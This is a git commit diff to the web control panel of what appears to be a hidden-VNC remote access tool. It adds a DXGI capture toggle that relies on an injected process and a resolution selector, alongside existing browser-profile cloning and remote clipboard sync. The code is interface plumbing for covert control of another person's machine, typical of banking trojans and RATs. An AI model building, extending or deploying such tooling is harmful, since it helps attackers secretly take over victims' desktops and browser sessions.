Merge branch 'vxaboveground:main' into main
This commit is contained in:
@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const fullscreenBtn = document.getElementById("fullscreenBtn");
|
||||
const mouseCtrl = document.getElementById("mouseCtrl");
|
||||
const kbdCtrl = document.getElementById("kbdCtrl");
|
||||
const cursorCtrl = document.getElementById("cursorCtrl");
|
||||
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
|
||||
const qualitySlider = document.getElementById("qualitySlider");
|
||||
const qualityValue = document.getElementById("qualityValue");
|
||||
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
const dxgiCtrl = document.getElementById("dxgiCtrl");
|
||||
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
|
||||
|
||||
function syncInputEnableState() {
|
||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
|
||||
if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
|
||||
pushHvncResolution();
|
||||
}
|
||||
let activeClientId = clientId;
|
||||
let renderCount = 0;
|
||||
@@ -344,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
|
||||
}
|
||||
|
||||
const dxgiStatusEl = document.getElementById("dxgiStatus");
|
||||
const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
|
||||
const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
|
||||
let dxgiHideTimer = null;
|
||||
|
||||
function handleDXGIStatus(msg) {
|
||||
if (!dxgiStatusEl) return;
|
||||
if (dxgiHideTimer) {
|
||||
clearTimeout(dxgiHideTimer);
|
||||
dxgiHideTimer = null;
|
||||
}
|
||||
dxgiStatusEl.classList.remove("hidden");
|
||||
dxgiStatusEl.classList.add("flex");
|
||||
if (msg.success) {
|
||||
dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
|
||||
dxgiStatusLabel.textContent = msg.message || "DXGI active";
|
||||
dxgiStatusLabel.className = "text-emerald-300";
|
||||
dxgiHideTimer = setTimeout(() => {
|
||||
dxgiStatusEl.classList.add("hidden");
|
||||
dxgiStatusEl.classList.remove("flex");
|
||||
}, 8000);
|
||||
} else {
|
||||
dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
|
||||
dxgiStatusLabel.textContent = msg.message || "DXGI failed";
|
||||
dxgiStatusLabel.className = "text-rose-300";
|
||||
dxgiHideTimer = setTimeout(() => {
|
||||
dxgiStatusEl.classList.add("hidden");
|
||||
dxgiStatusEl.classList.remove("flex");
|
||||
}, 10000);
|
||||
}
|
||||
}
|
||||
|
||||
function sendCmd(type, payload) {
|
||||
if (!activeClientId) {
|
||||
console.warn("No active client selected");
|
||||
@@ -558,9 +592,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
kbdCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
});
|
||||
cursorCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
|
||||
});
|
||||
if (dxgiCtrl) {
|
||||
dxgiCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
|
||||
});
|
||||
}
|
||||
|
||||
function pushHvncResolution() {
|
||||
if (hvncResolutionSelect) {
|
||||
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
|
||||
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
|
||||
}
|
||||
}
|
||||
if (hvncResolutionSelect) {
|
||||
hvncResolutionSelect.addEventListener("change", function () {
|
||||
pushHvncResolution();
|
||||
});
|
||||
}
|
||||
|
||||
if (qualitySlider) {
|
||||
updateQualityLabel(qualitySlider.value);
|
||||
@@ -705,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
@@ -732,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
|
||||
@@ -100,6 +100,13 @@
|
||||
</div>
|
||||
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
|
||||
</div>
|
||||
<div
|
||||
id="dxgiStatus"
|
||||
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
|
||||
>
|
||||
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
|
||||
<span id="dxgiStatusLabel">DXGI</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||
>
|
||||
@@ -128,12 +135,22 @@
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200"
|
||||
><input type="checkbox" id="kbdCtrl" /> Keyboard</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
||||
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
|
||||
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use DXGI Present hook for faster capture (requires injected process)"
|
||||
><input type="checkbox" id="dxgiCtrl" checked /> DXGI Capture</label
|
||||
>
|
||||
<label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
|
||||
<select
|
||||
id="hvncResolutionSelect"
|
||||
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
|
||||
>
|
||||
<option value="720">720p</option>
|
||||
<option value="1080" selected>1080p</option>
|
||||
<option value="1440">1440p</option>
|
||||
<option value="-1">Native</option>
|
||||
</select>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user